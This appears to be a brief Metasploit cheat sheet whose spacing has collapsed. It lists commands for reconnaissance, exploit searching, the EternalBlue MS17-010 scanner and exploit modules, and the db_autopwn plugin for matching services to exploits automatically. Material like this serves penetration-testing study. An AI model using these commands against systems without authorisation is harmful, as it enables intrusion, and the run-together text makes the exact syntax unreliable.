# Basic Setupsetg [HOST]workspace-a [suitable-name]# nmap for basic recondb_nmap-sS-sV-O [HOST]hostsservices
Searching for Exploits
# Manual Exploit Searchsearchtype:exploitname:[name]# Searches for relevant exploits based on the detected services. This process can be time-consuming.# Searchsploitsearchsploit [name]# Uses the searchsploit tool to find local exploit suggestions based on the service names.
Eternal Blue Exploit
# Scan for vulnerabilityusescanner/smb/smb_ms17_010# Attempt to exploitusewindows/smb/ms17_010_eternalblue
Automatic Exploit Matching
# Move the autopwn pluginsudomvdb_autopwn.rb/usr/share/metasploit-framework/plugins# Load the pluginloaddb_autopwn# Run the autopwn tooldb_autopwn-p-t-PI [PORT]# This automatically scans the database and matches found services to possible exploit modules.
Analyzing Vulnerabilities
# Auto Analysisanalyze# Automatically analyzes open ports to determine possible exploits.# List Vulnerabilitiesvulns# Displays a list of any vulnerabilities identified during the scan.